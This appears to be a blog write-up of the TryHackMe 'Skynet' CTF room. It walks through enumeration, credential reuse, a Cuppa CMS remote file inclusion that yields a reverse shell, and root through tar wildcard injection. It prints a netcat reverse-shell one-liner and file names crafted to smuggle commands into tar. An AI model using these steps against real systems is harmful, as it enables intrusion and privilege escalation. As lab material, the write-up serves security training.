• Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
AnonyViet - English Version
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office
No Result
View All Result
AnonyViet - English Version
No Result
View All Result

A little Writeup about Skynet

AnonyViet by AnonyViet
January 10, 2023
in Security
0

In this post, I will write up about the challenge Skynet in Tryhackme.

Join the channel Telegram of the AnonyViet 👉 Link 👈

A little Writeup about Skynet

Summary Writeup

  • Scan ports with nmap
  • Use GoBuster to list folders
  • Experiment with SMBMap to find Samba
  • Use earned credentials to read emails
  • Exploiting CMS RFI . Vulnerability
  • Exploit tar wildcards for privilege escalation

A little Writeup about Skynet

First let’s start by listing as many ports as possible, using nmap.

A little Writeup about Skynet 18

I see there is a web server running, when I access it, I get a web page like this:

A little Writeup about Skynet 19

Next, I’ll use GoBuster to locate any folders I find.

A little Writeup about Skynet 20
gobuster -u http:// -w -t 40

Sometimes, we are confident that something will be found but waste too much time on it. Usually, challenges like this will set up rabbit holes that make you uncomfortable. It’s okay to just take a short break if you get stuck and try different approaches, although it’s a bit time consuming.

Back to topic, we see that pop3 and imap ports are open, don’t know what else can be found? Calm down, remember what I wrote above first.

SMBMap allows users to list drives shared by samba across the entire domain. This program is available on all Kali Linux machines. If you don’t have the time or resources to set up your own Kali Linux machine, then you can use Kali Linux in the browser here.

A little Writeup about Skynet 21

The scan showed a share called “anonymous” with read permissions. Let’s check what it has.

A little Writeup about Skynet 22

Log1.txt contains the passwords and has a small share called miledyson. We have some potential logins here… But SSH is disabled, okay.

But, when one door closes, another door opens. An earlier GoBuster scan found SquirrelMail.

A little Writeup about Skynet 23

Using the above password account and reading the email shows there is a Samba password reset.

A little Writeup about Skynet 24

Next log into Miles’ shared drive and see what we find. You will see a file that gives you information about the new CMS.

A little Writeup about Skynet 25

Accessing CMS will see Miles Dysons Personal page :v.

A little Writeup about Skynet 26

If you use GoBuster on the /45kra24zxs28v3yd/ directory, you will find the /administrator. Tada, we found Cuppa CMS.

A little Writeup about Skynet 27

Looking at the source code will give you an indication of the version of the CMS. After a few google searches, I found a way to publicly exploit it: https://www.exploit-db.com/exploits/25971

Take a shell script and change the IP to your tun0 IP (ifconfig), host it locally in Python, use netcat to listen for the session and then put this shell on the web server.

The image below will explain the exact steps to get a low privileged shell by exploiting the RFI vulnerability! You can download reverse shell PHP from PentestMonkey.

A little Writeup about Skynet 28

In the CMS code, there is a piece of PHP code that includes the file (file include):

&lt

However, this also allows you to include your own shells (or even include a file on the system like /etc/passwd). For a more detailed explanation, please read this document.

Now that we have the shell, we can get the user flag. The next step is to upgrade our privileges to root.

When I list the Linux machine, I see there are some cronjobs running.

A little Writeup about Skynet 29

So the file /home/milesdyson/backups/backup.sh is being called every minute. Check out this file at all:

A little Writeup about Skynet 30

Another shell, go to the /var/www/html directory and make a backup of everything in the directory.

Believe it or not, this creates a hole because we can use it to execute code. HelpNetSecurity best explains how this works, but in essence, tar has wildcards and we can use this to execute commands.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <your ip>
1234 >/tmp/f" > shell.sh
touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
touch "/var/www/html/--checkpoint=1"

Then open netcat and you will get a shell as root.

A little Writeup about Skynet 31

You can also read more Shodan solutions on Tryhackme here.

The article achieved: 5/5 – (100 votes)

Tags: SkynetWriteup
Previous Post

Lesson 184: How to use the Forecast function in Excel

Next Post

How to Install Virtualmin on Ubuntu Using VPS Orcale

AnonyViet

AnonyViet

Related Posts

How to use hackers use Splitfus to execute PowerShell malicious code
Security

How to use hackers use Splitfus to execute PowerShell malicious code

July 20, 2025
How to implement Shellcode Injection attack technique with Autoit
Security

How to implement Shellcode Injection attack technique with Autoit

March 14, 2025
How to exploit the holy hole of Hijacking on Windows
Security

How to exploit the holy hole of Hijacking on Windows

March 8, 2025
Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery
Security

Hamamal: Shellcode execution technique from afar to overcome Antivirus's discovery

February 10, 2025
Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile
Security

Snov.io Email Finder: Search emails with only company name/domain name/LinkedIn profile

December 14, 2024
Capsolver: Automatic solution solution for business
Security

Capsolver: Automatic solution solution for business

December 12, 2024
Next Post
How to Install Virtualmin on Ubuntu Using VPS Orcale

How to Install Virtualmin on Ubuntu Using VPS Orcale

0 0 votes
Article Rating
Subscribe
Login
Notify of
guest

guest

0 Comments
Oldest
Newest Most Voted
Inline Feedbacks
View all comments

Recent News

Instructions for receiving 80GB of free data from VinaPhone from August 15

Instructions for receiving 80GB of free data from VinaPhone from August 15

August 15, 2025
Online driving exam preparation: Support theory and practice

Online driving exam preparation: Support theory and practice

August 15, 2025
How to add application to your favorite bar

How to add application to your favorite bar

August 14, 2025
Wowhay.com – The door opens the world of modern knowledge and network culture

Wowhay.com – The door opens the world of modern knowledge and network culture

August 13, 2025
Instructions for receiving 80GB of free data from VinaPhone from August 15

Instructions for receiving 80GB of free data from VinaPhone from August 15

August 15, 2025
Online driving exam preparation: Support theory and practice

Online driving exam preparation: Support theory and practice

August 15, 2025
How to add application to your favorite bar

How to add application to your favorite bar

August 14, 2025
AnonyViet - English Version

AnonyViet

AnonyViet is a website share knowledge that you have never learned in school!

We are ready to welcome your comments, as well as your articles sent to AnonyViet.

Follow Us

Contact:

Email: anonyviet.com[@]gmail.com

Main Website: https://anonyviet.com

Recent News

Instructions for receiving 80GB of free data from VinaPhone from August 15

Instructions for receiving 80GB of free data from VinaPhone from August 15

August 15, 2025
Online driving exam preparation: Support theory and practice

Online driving exam preparation: Support theory and practice

August 15, 2025
  • Home
  • Home 2
  • Home 3
  • Home 4
  • Home 5
  • Home 6
  • Next Dest Page
  • Sample Page

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí mm88 8XBET mm88 trang chủ new88

No Result
View All Result
  • Home
  • News
  • Software
  • Knowledge
  • MMO
  • Tips
  • Security
  • Network
  • Office

©2024 AnonyVietFor Knowledge kqxs hôm nay xem phim miễn phí mm88 8XBET mm88 trang chủ new88

wpDiscuz
0
0
Would love your thoughts, please comment.x
()
x
| Reply